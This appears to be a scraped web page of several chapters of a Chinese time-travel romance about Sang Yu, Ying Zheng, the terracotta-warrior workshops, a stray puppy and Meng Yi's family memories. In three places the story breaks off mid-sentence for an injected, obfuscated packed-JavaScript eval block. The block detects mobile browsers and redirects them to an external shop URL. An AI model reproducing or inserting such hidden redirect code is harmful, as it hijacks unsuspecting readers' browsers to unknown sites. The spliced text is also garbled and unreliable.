去年冬日,李斯送她楚橘时,曾经顺口提到了甘罗。那时,她只是感到惊讶,甘罗竟然还活在世上。没想到今日能在这里亲眼见到甘罗,好奇心自然而然地油然而生。 忽然,手上传来微微的痛意,她低头看去,嬴政正紧握着她的手。 “你们二人来得正是时候,寡人与阿桑正欲前去看工匠造俑,你们不妨也一同前去吧。” “好!”嬴嫒跳着走了过来,挽住了桑语的胳膊,“我要与嫂嫂共乘一车。” 如她所希望的,她与桑语二人共乘一车,而嬴政和甘罗则是骑马在旁。 骊山虽无泰山之巍峨,却自有一番灵秀之气,实为一块不可多得的宝地。它见证了历史兴衰,屹立于三秦大地,亦存留在纸墨之间。骊山山形似马,幽静而繁茂,满山苍翠,生机盎然。山南之蓝田,以盛产美玉而闻名遐迩;山北之地,则蕴藏着丰富的金矿。 沿途而行,只见青松挺拔,直插云霄,阳光透过云层的缝隙,斑驳陆离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13305690|138793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地洒落在大地上。轺车之外,一串金色的铃铛随风摇曳,“叮当、叮当”的响着。 桑语端坐于车内,一动不动。而嬴嫒则坐在她的对面,目光一直落在她的脸上。桑语被这注视弄得有些不自在,终于忍不住转身趴在窗边,漫无目的地眺望着窗外的风景。 她想要看得更远一些,于是便将身子微微探出窗外,半个脑袋快要伸出去的时候,却被一只有力的手推了回去。 她不悦地瞪过去,目光却对上了一双深邃的黑眸。她的不悦瞬间消散,规规矩矩地坐了回去。 嬴政回头对紧随在后的甘罗道:“今日不谈君臣尊卑,只论骑术造诣。吾等比试一番,赢者,乃是真英雄。” “诺!”甘罗应道。 马儿嘶啸,马背上的少年郎肆意自由,策马向前方奔去。 桑语看着绝尘而去的两匹马,心中忽生感慨。创造历史的大人物,曾经也是追风少年呐。 不过,这嬴氏兄妹二人,怎的都热衷于与人切磋较量? “嫂嫂,”嬴嫒眨了眨眼,含笑望向桑语,“你可曾与王兄行过周公之礼?” 桑语的眼角抽搐了一下,“没,没有。” 这位公主说话,还真是直白啊…… 嬴嫒将一只胳膊搭在车窗沿上,面上换上了几分认真的神色,“我见过那位魏夫人,平心而论,她的姿色确实在你之上。” 桑语心中刻意想要避而不谈的话题,此刻却被嬴嫒如此轻描淡写地提了出来。 桑语不明白她的用意,勉强笑道:“听闻魏夫人是魏国第一美人,而我不过蒲柳之姿,她自然比我要美许多。但是,这世间的花各有姿态,不必比较。” 嬴嫒不转瞬地看着她,良久,笑了一笑,“果然,我没有看错你。桑语,此刻只有你我二人,我想听你说说心里话。在你心里,我王兄究竟算什么?” “公主为何这么说?” 嬴嫒轻笑了一声,“桑语,我了解你,你这样的女子,断然不会选择与群芳争艳。然而,你不是不知道,我王兄他并非寻常人家的儿郎,他的身份注定他无法与一心上人长相厮守。” “所以,公主之意,是要我远离你的王兄吗?” “非也!”嬴嫒笑眼弯弯,“我是希望,你不要顾忌太多。今朝两心相悦,便应尽情相爱,莫负韶华。世人皆道我秦国为蛮荒之地,不懂礼义教化。我却以为,为何要懂?爱,便是拥有,旁的都不重要。” 这番话说得既在理又不在理,反正桑语觉得这位公主的大胆叛逆,实在超乎她的想象。 桑语不愿再继续这个话题,于是话锋一转,“公主可有心上人?” 嬴嫒的脸上顿时浮现出一丝愁绪,“有又如何,反正他又不会喜欢我。” 桑语闻言,顿时八卦之心熊熊燃起。然而,她刚想继续追问,轺车却缓缓停下了。 轺车行至骊山山脚时,日色已是正午。 一处工坊之中,摆放着无数个陶泥烧制而成的俑人。窑里的火烧得正旺,匠人的脸庞被映照得红亮,仿佛也将燃烧起来了。 阳光透过洞口照射进来,落在两尊陶俑的脸上。这是两尊兵俑,皆外披铠甲,然而姿态样貌有异。左边一个,脸型狭长,颧骨较高,他右手上握着一柄长剑,仿佛随时准备冲锋陷阵。右边的一个,则面容方正,国字脸上浓眉大眼,蓄有胡须,其右手同样摆出握剑之势,却未见武器。 这两尊兵俑并肩而立,栩栩如生,不仅形态逼真,更仿佛蕴含着无尽的生命力,其散发出的气势令人不由自主地心生敬畏,肃然起敬。 桑语一时看痴了,无意识地伸手想要触碰它。然而,就在这时,嬴嫒的声音如同惊雷般在她耳畔炸响:“嫂嫂勿碰,这些可都是用活人制成的!” 38. 王陵 “啊?”桑语缩回手,一脸的不可思议。 嬴嫒见她如此反应,以为她这是害怕了,便压低声音,故作神秘地说道:“嫂嫂,你快看,快看他的眼睛,睁得如此之大,会不会是死不瞑目?” 桑语看着她这幼稚的行为,配合地用手捂住嘴,佯装惊恐地道:“天呐!真是太可怕了!” 嬴嫒以为桑语真的被自己唬住了,还煞有其事地点了点头。 “嬴嫒!休要胡言!”嬴政瞪了嬴嫒一眼,转头看向桑语道:“这些兵俑,模样的确与真人无异,但皆是由陶土烧制而成。献公继位之后,便废止了人殉之恶俗,转而以陶俑代之,以彰显仁德。寡人身为献公之后裔,岂能违背先祖之遗训,行此不义之事?” 桑语微微颔首,说道:“原来如此。”她走到嬴嫒的身侧,伸手点了点她的额角,“公主,你故意吓我!真是太坏了!” 若是她早生一个世纪,或许就相信嬴嫒的戏言了。 秦始皇陵一直是神秘莫测的谜团,而兵马俑更是被各种传说环绕。 关于兵马俑,曾有传说称其是以活人为模,覆以陶土,而后经火炼成的人俑…… 然而,在一九七四年时,兵马俑的意外发现,像是穿越时空的使者,粉碎了这一流传了千年的谣言,让世人得以窥见历史的真相。 “王兄,这天下啊,如此胡说的,可不止我一人呐!”嬴嫒抱臂叹气,嘴角不自觉地撇了撇。 “随他们尽情议论去吧。”嬴政淡然说道。 此时,名为“丙”的匠人趋步上前,恭敬言道:“禀君上,陶俑已初具形态,正待上色以增其彩。请诸位移步一观。” 众人遂跟随指引,步入工坊的空地之中。此处的陶俑的确不同了,依旧是形态各异,但大部分已是彩绘,尤为引人注目的是那抹绚丽的紫色。 匠人们纷纷搁下手中活计,躬身作揖,齐声道:“小民拜见君上!拜见公主!” 嬴政轻轻挥手,示意众人起身,“寡人不过随意游历至此,尔等勿需多礼,各自安心劳作便是。” 桑语东看西瞅,目光在众多陶俑间忙碌穿梭,突然,她注意到一个陶俑的脚边似乎沾有些许不干净的污渍。 她好奇地走近几步,屈膝蹲下,凑近仔细观察,发现泥坯上刻着一个独特而简单的标记,像是一只毛毛虫。 一旦将彩绘覆盖上去,这个小秘密便无人能够察觉。 这样的小举动,不过是苦中作乐罢了。 桑语蓦地察觉到有脚步声渐近,她连忙站起身来,不动声色地挡住“毛毛虫”。 “呀,公主与甘上卿在看什么呢?君上,我们也去瞧瞧吧!” 她急忙伸手拉住嬴政的衣袖,将他引向另一个方向。 嬴嫒与甘罗正目不转睛地看着一位年轻匠人给陶俑上色。可能由于是头一次这样近距离地观察工艺制作,他二人的眼珠子都如琉璃般,舍不得眨动了。 桑语拉着嬴政,悄然站到了嬴嫒和甘罗的身后,目光同样聚焦于那位年轻匠人。匠人已经上完色,正一丝不苟地在陶俑上镌刻着字迹,每一个笔画都显得那么庄重而有力。 桑语认真地辨认着那些字迹,刻的是“咸阳午”,但她不知是何意,遂扭头看向嬴政。嬴政缓缓开口道:“咸阳的匠人,名唤‘午’。” 桑语继续追问道:“为何要在兵俑上刻上匠人的名字?” “物勒工名,以考其诚,工有不当,必行其罪,以究其情。刻工姓名于器,以查其诚!” 桑语稍作理解之后,惊讶得无以言表。她万万没有想到,在两千多年前的战国时期,竟然就有了如此严格的标准化生产制度! 匠人们将自己的名字镌刻在自己的作品上,一旦产品出现任何质量问题,便能够迅速根据这些名字追根溯源,确保责任到人。 更难能可贵的是,这些看似微不足道的细节处理,无意中构建起了时空对话的桥梁。 遗留在兵俑上的指印,甚至会让后世的研究人员留下激动的泪水。 这些匠人的名字,不会被青史记载。但是刻在兵马俑上的名字,会永远留在历史的长河中。 “嫂嫂!嫂嫂!” 嬴嫒的声音将桑语拉回现实之中,她看到桑语眼角的泪花,疑惑地问道:“嫂嫂,你怎么哭了?” 桑语伸手揩了一下眼睛,“我没事,只是风沙迷了眼。” 嬴嫒并没有起疑,她伸手指向一处,说道:“甘罗发现了几个残缺的人俑。” 桑语一听这话心里紧张起来,“残缺的人俑?你王兄他会生气吗?” 她其实想问的是,那些造俑的匠人会不会因此而遭殃? 嬴嫒摇了摇头,“此等小事,王兄应该不至于生气吧。”她挽住桑语的胳膊,“嫂嫂若是好奇,不如去看看吧。” 空地的角落之处,几个人俑亦是傲然挺立着。或许是桑语离得远,她并未看出有何残缺之处。 一批陶俑出窑,自然或多或少会有不合要求的,而这些被淘汰的产品将面临的是毁弃。 宫丙的掌心渗出了一层冷汗,他偷偷地瞥了一眼嬴政,然后又悄悄望向那些残缺的人俑,“君上,此人俑残缺,臣等会将其摧为灰土。” 嬴政正俯身细看人俑手上的断指,随后他直起身子,平静地说道:“无需摧毁,留着。日后若有如此的,都留着吧。残缺的将士,亦是我大秦的勇士。” “诺!”宫丙抹了一把虚汗。 一行人离开工坊时,午后的太阳业已西垂。轺车并未直接返回行宫,而是在山腰的一处山洞前的平地上停下了。 几个抬着石头的汉子们正在艰难地向前挪动,突然,左前方的一名汉子不慎踩到了碎石,身体猛地一晃,虽然勉强保持了平衡而未跌倒,却也崴了脚踝。 那块巨石歪了歪,最终依旧稳在汉子们的肩上。那名受伤的汉子拖着跛足,一跛一拐地继续走着。 透过车帘的缝隙,这一幕真真切切地映入桑语的眼帘。她心里感到有些难受,几乎是在祈求:“公主,我们还是回行宫吧!我突然感到头脑昏沉,身体也有些不适。” 嬴嫒见桑语眉头微微皱起,便问道:“嫂嫂可知此处是何地方?” 虽说是询问,但却是极其肯定的语气。 桑语略一踌躇,点点头道:“这里,是君上为自己修建的皇陵。” “皇陵?”嬴嫒看着桑语,有些疑惑地重复道,“这是王陵,为何嫂嫂将它称作皇陵?” 桑语眼中掠过一丝惊慌,急忙转移了话题,“君上年纪尚轻,为何这么早就要修建王陵?” “历代皆如此,王兄也只是遵循惯例罢了。”嬴嫒透过车帘往外望去,语气变得深沉,“生即是死,死亦是生。早些修建,也少些担忧。” “公主所言,极是……”桑语伸手轻轻挠了挠耳后。她此刻的心情难以言表,既非欣喜,也谈不上期待,反而是一种想要尽快离开此地的冲动。 嬴嫒探头出去,唤了声“王兄”,“嫂嫂说她身体有些不适,王兄,我们还是回去吧!” 嬴政隔窗看了眼桑语,她的脸色的确很沉重,眉宇间似乎藏着几分心事。 “好,回行宫吧!” 轺车沿着来路返回了几里,桑语心中突然浮现出一个念头:她刚刚所见的,虽说是初级版本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306884|138793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的秦皇陵,甚至还没有注入水银,但那可是秦皇陵诶! 想到这里,桑语又觉得遗憾。 她忍不住掀起帘子,再次向那个山洞的方向望去。 “在返回行宫之前,嫂嫂若是有意,仍有反悔的余地。”嬴嫒似笑非笑地看着她。 桑语放下了帘子,将遗憾隔绝在外面。 “只可惜,此刻我头痛得厉害,实在是与之无缘。” 嬴嫒好心地劝慰道:“嫂嫂若真觉得遗憾,日后我们再来便是。” 桑语点了点头,低声说“好”,但心中却像被沉重的砾石压住,有些堵得难受。 回到骊山行宫之后,嬴嫒热情地邀请桑语同住,说是她的居处有温泉,并且凑近桑语,笑容暧昧地补充了一句:骊山温泉可使肤如凝脂。 桑语觉得盛情难却就答应了。 她并没有什么行囊,昨日换下的衣物,也已交由宫人盥洗了。于是直接跟着嬴嫒去了寝宫。 嬴嫒屏退了宫人,关上了殿门,殿内仅剩下她和桑语两人。嬴嫒捂着嘴笑道:“适才王兄看我的那种眼神,简直是想要掐死我。嫂嫂,你看到了吗?” 桑语摇了摇头,“我没注意。” 嬴嫒双手叉腰道,“嫂嫂你没看到啊,那太可惜了!能够让王兄吃瘪,真是件非常快意的事呢!” 桑语附和地笑了两声,随即止住了笑,“公主,那些制造陶俑的匠人,还有修建王陵的汉子,是否有应有的报酬?” 嬴嫒觉得她问得奇怪,但还是回答道:“当然。” 桑语顿时安心了不少。 嬴嫒忽然问道:“回我寝宫的路,嫂嫂记住了吗?” 桑语点了点头。 “如此便好!”嬴嫒按住桑语的肩膀,将她推出了寝殿,“我这里未曾备下你的晚膳,你且自行寻觅一处用饭之地吧!” 不待桑语说些什么,“砰”的一声,嬴嫒已决然将殿门重重合上,不留一丝余地。 桑语无奈,只能独自一人走出了嬴嫒的寝宫,漫无目的地在行宫里闲逛着。此地对她而言,皆是陌生之景,若遇上岔道口,就向右走。终于,当她看到杂乱丛生的野草时,清醒地意识到自己已经迷路了。 被晚风一吹,脊背都凉透了。 她冷不丁地想起来:骊山乃是秦的祖茔之地,埋葬着几代秦君,还有数位宗室之人。 桑语心中不禁生出一丝畏惧,唯恐遇见了不该遇见的东西,脚步也因此变得急促。 突然间,有一道黑影从眼前闪过,吓得她险些丢了魂。桑语自认并非胆小之人,只是,这周遭的环境太安静了。 就在这时,草丛深处传来一阵哼唧声,那声音细弱而哀怜,宛如受伤的小兽在无助地求救。这声音,对桑语而言,竟带着几分莫名的熟悉感,让她不由自主地放慢了脚步。 她深吸一口气,一步步向草丛深处探索。随着距离的拉近,那哼唧声愈发清晰。 “汪!汪!” 终于,一只幼犬映入眼帘,它正拼尽全力地吠叫着,摆出一副很凶的样子,身体却因害怕而颤抖不已。 它通身是黄色的,没有一根杂毛。眼睛湿漉漉的,越发地显得可怜。桑语蹲下身子,“嘬嘬”了几声。小狗虽然还是有些害怕,不敢靠近,但却轻轻地摇了摇尾巴。 “狗狗,别怕!你是不是走丢了?跟我走吧,我带你回家!” 小黄狗似乎真的听懂了她的话,慢慢地走了出来。桑语摸了摸它那毛茸茸的小脑袋,小黄狗将尾巴摇得越发欢快了。 桑语小心翼翼地把它抱在怀里,沿着刚才走过的路线往回走。不久,她终于看到了人影。 39. 小黄 “诶!请等一等!诸位,请等一等!” 几个宫人听到声音后停下了脚步,她们面面相觑,由于不确定桑语的身份,所以一时之间不太清楚应该如何应对。 桑语微笑着,轻声细语道:“你们不用害怕,我是公主的朋友,绝不是什么坏人。” 宫人们彼此交换了一下眼神,正准备向桑语行礼,但桑语迅速摆手制止了她们,“不用这么多礼,我只是想问问,你们知道这只小狗是谁的吗?” 宫人们闻言,望向她怀中的小狗。小黄狗有些害怕地往桑语的怀里缩了缩。 站在最左边的宫人回答道:“不知是何人之犬,或是误入禁苑中。” 桑语安抚地拍了拍小狗的脑袋。 原来这是一只流浪狗。 她的目光转向说话的那位宫人,道:“我承蒙公主之托,有要事需面禀君上。然我对这行宫中的路径颇为生疏,不知君上居于何处,可否劳烦这位姑娘为我引路。” 宫人道:“婢子惶恐,姑娘请随婢子前往。” 待桑语走后,余下的宫人们悄声议论了起来。其中一人压低声音,神秘兮兮地说:“你们瞧她身上所着的衣裳,我认得。昨日君上宫中的寺人急匆匆地来寻衣裳,一眼就挑中了它。这件衣裳,原是为公主准备的。” “如此说来,那位姑娘并非是公主之友,而是咸阳宫城里的贵人?” 另一人轻轻嘘了一声,打断了议论:“诸位,慎言为妙。我们还是速速离去,以免多生事端。” 桑语在宫人的引领下,穿过重重回廊,最终来到了一座宫殿前。正当她走近时,甘罗恰好从殿中走了出来。 遇见了熟人,真的会变得安心。 向带路的宫人道谢之后,桑语迈步向甘罗走去,开口问道:“上卿大人,您这是要去哪儿呀?” 甘罗的目光落在她怀中的小黄狗上,面带微笑地回答说:“这个时辰,公主应该听我讲书了。” 桑语意味深长地看了他一眼,微微侧身让出了路。她默默看着甘罗背影,半晌,转过身去,拾阶走入殿内。 宫殿之内,几盏鹤形青铜灯矗立,散发着柔和而暗淡的光芒。桑语环顾四周,随后缓缓步入内室。 嬴政正斜倚在榻上,手捧着竹简。与平日的威仪赫赫不同,他此时并未束冠,一头乌发随意披散,平添几许风流。 听到脚步声逐渐靠近,嬴政放下手中的竹简,目光温和地望向桑语,问道:“这只黄犬,你是从何处拾来的?” 桑语在他身边坐下了,“就在一个杂草堆里。我当时迷了路,也不知道究竟是何处。” “俗话说,黄狗白面金不换。”她将小黄狗举起来,凑近嬴政的面前,“君上请看,这小黄狗生得多可爱,好狗可遇不可求啊!” 嬴政看了看小狗,伸手接过抱在怀里。那小狗倒也不认生,反而亲热地用脑袋蹭了蹭嬴政的手背。 他笑着揉了揉它的脑袋,好奇地问道:“‘黄狗白面金不换’?这句俗话,我怎么从来没听过?” 桑语一时语塞,心中暗想:“鬼知道这句话是哪个时代流传出来的。” 她尬笑两声,“是我随口编出来的俗话。” 小黄狗鼻子里发出轻轻的哼声,用它那毛茸茸的小爪子轻轻扒拉了一下嬴政的手。嬴政安抚地摸摸小狗的爪子,小黄狗则是将脑袋紧紧地靠在他怀里。 桑语看着一人一狗之间的互动。她看见那深不见底的黑眸倒映着烛火的光芒,此时如星光般温柔而朦胧。 桑语轻轻捏了捏小狗柔软的小肉垫,柔声说道:“小狗,君上要留你一条狗命呢,还不快谢过君上。” 小黄狗似乎真的听懂了她的话,扬起小脑袋,湿漉漉的眼睛紧盯着嬴政,小声地“汪汪”叫了两声。 桑语心中欢喜,这只小狗真有灵性。 嬴政抬起眼看了看她,又垂下眼皮,状似漫不经心地问道:“你不打算带它一起离开吗?” 桑语的心头莫名地揪紧,她轻声说道:“嬴政,我不想欺瞒于你,我并不知道此行之后,我是否会重返故土。但是,我可以确定的是,我无法带上小狗一起走。将它托付给君上,我很放心。” 嬴政轻抚着小狗的脑袋,动作一时停滞。他沉默片刻,微微叹息,问道:“你打算如何称呼它?” “它现在还小,暂且就以‘小黄’为名吧。” 嬴政闻言,忍不住笑着打趣道:“那么,待它长大了,是否就该唤作‘大黄’了?” “嗯,是这么个理。” 嬴政唤了一名宫人进来,将小黄交给她,嘱咐她带它去洗澡。 陡然换了一个怀抱,小狗似乎有些不安,它的耳朵耷拉下来,尾巴也垂了下来,看起来像是犯了错一样。 桑语看在眼里,心中难免有些不忍,于是从怀中取出一块帕子,递给了那名宫人。 “你用这帕子给它洗澡吧,它见到是我的帕子,就不会以为是我不要它了。” “诺!”宫人接过帕子,抱着小黄出去了。 待寝殿内只剩下二人,嬴政轻轻握住桑语的手,“阿桑,如果可以,我真的希望能够与你生同衾,死同穴。” 桑语缓缓自他的掌心抽离自己的手,“其实,我不大愿意。” 嬴政讪讪地缩回手,掩在袖中,试图掩饰那份失落。 “你打算何时走?” 桑语垂眸思忖了片刻,然后摇了摇头,“我不知道,”她抬眸看向他,“我真的不知道。” 突然,一阵敲门声打断了沉默的氛围。嬴政从榻上站起身来,转身背对桑语,缓声说道:“阿桑,今日就留在这里陪我吃饭吧。” 宫人已将筵席布置妥当,二人甫一入座,便见宫人怀抱小黄,面有难色地趋前禀报:“君上,它一直叫唤个不停,可能是害怕了。” 小黄刚刚洗过澡,浑身的毛发还湿哒哒地贴在身上。它一看到桑语,挣扎着就要跳下来。 桑语接过小黄,对宫人说道:“把它交给我就好了,你去休息吧。”她将小黄放在垫上,在它面前铺了一方帕子,又夹了些食物放在帕子上。 小黄一见美食,便迫不及待地大快朵颐起来,不多时便风卷残云般将食物一扫而空。饱餐之后,它乖巧地坐在垫子上,扬起小脑袋,满含期待地盯着嬴政。 嬴政不解地看看它,再看看筷箸间的鸡蛋,然后将筷箸稍微举起。小黄见状,嘴里发出阵阵“哼唧”之声,尾巴更是摇得如同拨浪鼓一般,努力地向嬴政示好。 眼见这一切努力似乎都未能奏效,它用后腿站起来,将两只前爪搭上了桌沿,黑黑的鼻子一耸一耸的。 桑语不禁哑然失笑,“真是个好吃狗!” 嬴政终于明白了它的意思,将鸡蛋放在帕子上,筷箸还未收回,小黄就已经着急地一口吞下了整个鸡蛋,噎得直翻白眼。嬴政轻笑一声,伸手轻捏小黄的耳朵。 因为小黄,二人都暂时忘记了即将离别的伤感。用罢晚膳,小黄蜷缩在嬴政的脚边睡着了。嬴政以目示意,让宫人将小黄抱走了。 此刻,天边已铺满绚烂的晚霞,残阳如熔金般炽热燃烧。二人并肩坐在石阶上,目光穿过云层,凝视着那逐渐沉沦的落日,各自沉浸在思绪中。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13317968|138793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桑语蜷起腿来,将胳膊搁在膝盖上,手撑着脸腮,口中喃喃自语:“又是一天结束了呀。” 嬴政应和道:“今日已逝,谁知明日何如?” 桑语莫名地想起了蔓娘,不禁叹了口气,低声说道:“草木霜露尚无常,更何况是人呢?”她微微侧首,望向嬴政,“君上,若我此去不返,君上心中,是否会渐渐淡忘我的存在?” 嬴政轻唤了一声“阿桑”,随后缓缓说道:“你……能否过一阵再走?” 桑语无意识地拨动着手腕上的木珠手串。她自己心里也完全没有底,她已经与怪老头他们失联了两年之久,无法得到他们的指令。如果藏匿于沛地的那人,真的是她苦心寻觅的人,她究竟该如何处置他呢? 她来到战国之前,他们向她交代的方略是“宁愿毁灭,不留祸害”,若是不能用“麻醉针”将他带回现代,那么就让他永远留在这个时空里。 这也是他们选择她的原因之一。 但是现在之于她而言,最大的难题就是“失联”。她无法将他带回现代,同样的,她自己也不知道如何回去。 桑语思忖了半响,点了点头,“我答应你,一个月之后,我再离开。” 嬴政的唇边浮起一丝浅笑,“一个月,时间足够了。”他揽过她的肩,她将脑袋靠在他的臂弯里。 天边远远的有一颗孤星,桑语伸手指了指星星的方向,“君上快看,那里有颗星星,多亮啊!” 嬴政循着她指的方向看过去,深蓝色的天幕上,已有一轮弯月升起。月不孤明,旁有一颗星。 他学着桑语的样子,抬手指天,但衣袖却被桑语伸手拽住了。 “君上,你指的是月亮哦!”桑语紧盯着他的眼睛,语气严肃而认真,“我师父说过,月亮是不能指的!指了月亮,月亮就会割掉你的耳朵!” 说着,她用另一只手捂住了自己的耳朵。 嬴政一直认真听着,突然间,他猛地以手掩耳,痛苦地“唉哟”了几声。 桑语一时之间愣住了,有些慌乱地说:“君上,嬴政,你别吓我啊!我去叫太医!不,不对……”她急忙双手合十,向月亮拜了拜。 然而,身后却传来一阵畅笑,桑语回头一看,只见嬴政几乎笑倒在地。 桑语愣了好一会儿,才意识到自己被他戏耍了。她气呼呼地瞪着嬴政,嬴政见状,赶紧收起笑声,但眼角眉梢仍带着笑意,他连忙道歉:“是我不对,阿桑,莫要真的恼了!” 桑语仍是气呼呼的模样,久了,还是忍不住笑了。她轻咳一声,又抬起头来,“我小时候,经常对着星星许愿。如今想想,还真是幼稚。” 她正说着,突然听到身旁的嬴政低声喃喃:“愿这人间,永膺无疆之休。” 桑语缓缓垂眸,只见嬴政双手合十,神情专注而虔诚,正对着星空许下心愿。这一幕,让她的眼眶不由自主地泛起了酸意。 她以前的确常常对星空许愿,许的通常是同一个愿望——希望爸妈能够进山来看看她。 可是长大之后,她就再也没有对星空许愿了。取而代之的是一种自我否定的情绪,认为自己这是太幼稚了。 然而现在,嬴政在告诉她,星空所承载的心愿,永远不会幼稚。 桑语眨了眨眼,笑着说道:“嬴政,我忽然想唱歌了。” “好!你唱吧,我听着呢!” 桑语轻轻依偎在他身旁,缓缓唱起了那首儿时的歌谣—— “月亮粑粑,肚里坐个嗲嗲,嗲嗲出来买菜,肚里坐个奶奶,奶奶出来绣花,绣杂糍粑,糍粑跌得井里,变杂□□……” 40. 申子 骊山的温泉的确舒适宜人,桑语只是略微泡了一会儿,就起身走出浴池。 嬴嫒死皮赖脸地要与桑语同睡一榻,桑语无奈之下只好同意了。榻边帷幔落下,隔绝出了一方小天地。 嬴嫒抱着一只软枕,斜靠着身子,笑着看向桑语,“你与王兄,真可谓是大胆。这骊山行宫之中,那么多的眼睛盯着呢。任何亲昵之举,一旦被有心之人窥见,再传入那些人的耳朵里,恐怕会给你惹来不少的麻烦。更何况,嫂嫂本非寻常之人,身份地位皆不同凡响,若长久地留在王兄的身边,有了什么风言风语,反而是轻视了你。” 桑语听着,明白了嬴嫒坚持要与她同住是为她着想,遂笑着说道,“多谢公主为我着想。” “既然要谢我,”嬴嫒故意顿了顿,慢悠悠地说道,“那岂能仅止于口头之辞呢?” “公主想要我如何感谢?” 嬴嫒略一挑眉,“把你的武功教给我。” 桑语刚想拒绝,却听见她又说,“我听说过,王贲愿执弟子之礼,却遭嫂嫂你婉拒了。嫂嫂且放心,我必不会使你为难,对外只说是我邀你切磋武艺。” 桑语忖了忖,点头说了声“好”,“只要我在咸阳一日,随时欢迎你来切磋。” 嬴嫒并未察觉到桑语话语中潜藏的异样,她兴致勃勃地缠着桑语问东问西,尤其是关于玄女山的故事。 桑语知道嬴嫒这是在借机试探她的底细。但她实在是困得懒得撒谎,于是心念一动,开始讲起了童话故事。 嬴嫒听得极认真,偶尔还插入几句自己的评价—— “这个王子真是个下流胚子!人家昏迷不醒,就去偷偷亲她?趁人之危,算什么君子?” 桑语决定换个故事。 不知不觉中,听故事的人睡着了,讲故事的人却又失眠了。 天交三鼓时,嬴政的寝宫依旧灯火辉煌,犹如白昼。他端坐于案前,两卷《申子》静置于案上。嬴政低垂着眼眸,似在深思熟虑,神情严肃而专注。 对面,一位身量高大的男子正襟危坐,正是郎中令蒙毅。他缓缓开口说道:“大父临终之际,曾召我与兄长前往,询问我们近读何书,尚习武否?” 嬴政闻言,抬起眼来:“卿是如何作答的?” 蒙毅缓缓道来,“臣回答大父:孙儿近日正研读《申子》。孙儿窃以为,申子之术,乃治臣之术。申子有言,‘蔽君之明,塞君之听,夺之政而专其令,有其民而取其国矣’。为臣者,任,必有规矩可循。见功而与赏,因能而受官。为君者,无为而治,操杀生之柄。然,如韩非所言,‘申不害不擅其法,不一其宪令,则奸多’。术治有其理,然而不能舍‘法治’。若以术治国,则心术之邪正,遂为兴衰之本。孙儿以为,以兵取天下,当非难事。天下如何定,则尤属不易。” 嬴政听罢,颇为认可地点头道:“对于申子之言,卿倒是另有一番见解。申子在世之时,他国诸侯皆不敢侵犯韩国。彼时,韩有申子之才,亦有用才之君。如今,韩非欲效仿商君变法,却不受韩王重用。有贤臣而不用,这种国家已不足忌惮。” 蒙毅垂眼看了看竹简上鲜红的朱砂字迹,“先王在世时,曾与大父促膝长谈。听大父说,先王虽不喜‘术治’,却熟记申子之言,且自有见解。臣今日有幸,得以亲眼看到先王的批注。” “最近寡人时常在想,父王若还在世,面对如今这些局面,他会如何行事?”嬴政说着,小心地卷起竹简,以丝绦捆缚,再起身将它们轻置于木架之上。 蒙毅心中仍有未言之语。 在询问了他之后,大父转而问向兄长:“恬儿,你对君王有何看法?” 兄长郑重回答:“君上胸有丘壑,绝非莽撞之人。” 大父默然片刻,然而说道:“今日听尔等之言,皆有识见,大父甚感欣慰。” 话音未落,他那苍枯的手便用力地抓住了桌角,紧接着,一阵剧烈的咳嗽声骤然响起。 一旁侍立着的父亲见状,忙捧了茶过来给大父,同时说道:“孩儿这就去宫中请太医前来。” 大父从咳嗽中缓过气来,“久病之咳,不足挂齿。”言罢,用手指蘸水,在书案上留下四个清晰的水点儿,眼神中充满了期待与考量,“依你们二人之见,当如何抉择?” 蒙毅与兄长相视一眼,兄长走上前去,指尖划过这些水滴,互相以水线连上。分散的水滴之间形成复杂的相互联系,逐渐呈现出一种交织的状态。 “如是者多年,大父心中早已有决定了吧。”兄长一边说着,一边以手指按住一角,慢慢地推移着,最终巧妙地吞并了其余三角。 大父垂眸看着,微微颔首,“赫赫宗周,亡于诸侯。权力之柄,当紧握于君王一人之手,见功而赏,施恩于臣子,施德于天下。” 父亲亦随声附和,“君上虽年少,但颇有胆识。大秦百年东进大计,必成矣!” 大父苦笑了一声,轻叹道:“可惜啊,我看不到了。我最近忽然想起了许多故人,孝文王、白起将军,乃至信陵君。我还常常想起长平之战,想起那些凄惨的哀嚎声。” 父亲听得此言,低低唤了声:“阿翁!” 大父却是摆了摆手,神情泰然地笑道:“生老病死,本是世间万物必经之途,何须介怀?若真能活过百岁,岂不是成了老怪物了?我心中所忧,唯有一事。先人之庇,不过一时耳。今日试问尔等,皆出乎我的意料。他日我若离去,相信尔等亦能建功立业,不为前程所忧。” 那晚,祖孙三代人围坐一起,畅谈至深夜。待他们依依不舍地告别之时,天已大亮,有玄鸟飞过,又逐日而去,最终消失在天边。 